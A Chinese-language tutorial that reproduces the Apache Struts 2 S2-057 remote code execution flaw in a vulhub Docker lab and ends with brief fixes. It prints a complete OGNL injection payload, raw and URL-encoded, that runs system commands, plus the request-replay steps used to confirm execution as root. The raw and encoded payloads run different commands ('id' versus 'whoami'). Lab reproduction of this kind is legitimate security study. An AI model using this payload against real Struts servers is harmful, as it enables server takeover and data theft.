Apache Struts 2 最初被称为 WebWork 2,它是一个简洁的、可扩展的框架,可用于创建企业级Java web应用程序。设计这个框架是为了从构建、部署、到应用程序维护方面来简化整个开发周期。
Struts 2在2007年7月23日发布的第一个Struts 2漏洞S2-001。
Struts2漏洞是一个远程命令执行漏洞和开放重定向漏洞。利用漏洞,黑客可发起远程攻击不但可以窃取网站数据信息,甚至还可取得网站服务器控制权。而且,目前针对此漏洞的自动化工具开始出现,攻击者无需具备与漏洞相关的专业知识即可侵入服务器,直接执行命令操作,盗取数据甚至进行毁灭性操作。
漏洞复现
首先搭建环境,搭建命令如下
cd vulhub/struts2/s2-057
docker-compose up -d
搭建完成后去访问靶机的/struts2-showcase目录,出现如下页面后,在url后面再拼接上/${(123+123)}/actionChain1.action后按下回车,即可出现我们所url中两个123相加的结果
这证明这个网页有代码执行漏洞,所以我们构造exp并编码后将其替换,exp内容与url编码后内容如下
${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
$%7B%0A%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29%29.%28@org.apache.commons.io.IOUtils@toString%28%23a.getInputStream%28%29%29%29%7D
开启抓包后重新访问此页面,抓到包后先发送到重放器,在抓到的数据包中,将上面构造的经过编码的exp替换请求头中的246,并将后面的/register2.action替换为/actionChain1.action
点击发送后,右边显示了302,且返回包中出现了root,说明成功执行了我们构造的exp中的whoami命令
漏洞修复
1.Struts2 更新到最新版本
2.应用官方发布的安全补丁
3.过滤恶意请求头